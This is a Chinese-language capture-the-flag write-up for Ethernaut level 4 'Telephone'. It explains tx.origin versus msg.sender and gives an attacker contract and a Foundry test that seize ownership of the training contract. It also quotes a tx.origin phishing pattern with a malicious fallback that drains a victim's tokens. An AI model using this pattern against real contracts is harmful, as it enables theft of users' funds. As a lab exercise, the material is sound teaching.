# Ethernaut CTF Level 4 - Telephone
[toc]
## 題目
取得下面合約的所有權,來完成這一關
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
```
<br>
## 分析
可以看到,在`changeOwner()`裡面出現了新的概念
- `msg.sender` vs `tx.origin`
msg.sender:目前函數呼叫的直接傳送者。在合約呼叫鏈中,msg.sender是最近一次呼叫的位址。
tx.origin:交易的原始發起者。無論呼叫鏈有多長,tx.origin始終是最初發起交易的位址。
了解這樣的概念後,再來看這個題目
我們只要創建一個攻擊合約,攻擊和約會呼叫題目中的`changeOwner`
最後,再用帳戶呼叫這個攻擊合約
就可以創造題目要的條件`if (tx.origin != msg.sender)`
<br>
## 攻擊
- 使用了題目的Interface
- 指定題目地址
- `callTelephone`給參數,這邊的參數會是metamask account address
- 可以Deploy後動態帶入
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.9.0;
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
interface ITelephone {
function changeOwner(address _owner) external;
}
// Calling real telephone
contract Telephone {
using SafeMath for uint256;
ITelephone public orgContract = ITelephone(0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx);
function callTelephone(address _attacker) public {
orgContract.changeOwner(_attacker);
}
}
```
完成後Deploy, 並呼叫`callTelephone`

執行後可以回到Ethernaut 用console確認
```solidity
await contract.owner()
```
## 補充
From Ethernaut
這個例子比較簡單,如果沒有搞清楚 tx.origin 和 msg.sender 的差異,可能會導致釣魚攻擊,比說如這個.
下面描述了一個可能的攻擊。
- 使用 tx.origin 來決定轉移誰的代幣,例如:
```solidity
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
```
攻擊者讓受害者轉移轉資產到一個惡意合約,這個惡意合約會呼叫代幣合約的 transfer 函式把受害者的資產轉移到惡意合約,例如:
```solidity
function () payable {
token.transfer(attackerAddress, 10000);
}
```
在這個情況下,tx.origin 是受害者的地址 (同時間 msg.sender 是惡意合約的地址),這會導致受害者的資產被轉移到攻擊者的手上.
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../../src/levels/04-Telephone/Telephone.sol";
contract ContractTest is Test {
Telephone level4 =
Telephone(payable(0x5610ca330A030462B9609F74925e5EA86AC08eec));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x5610ca330A030462B9609F74925e5EA86AC08eec),
"Ethernaut04"
);
}
function testEthernaut04() public {
level4.owner(); // 0x2C2307bb8824a0AbBf2CC7D76d8e63374D2f8446
level4.changeOwner(address(this));
level4.owner(); // address(this)
}
receive() external payable {}
}
```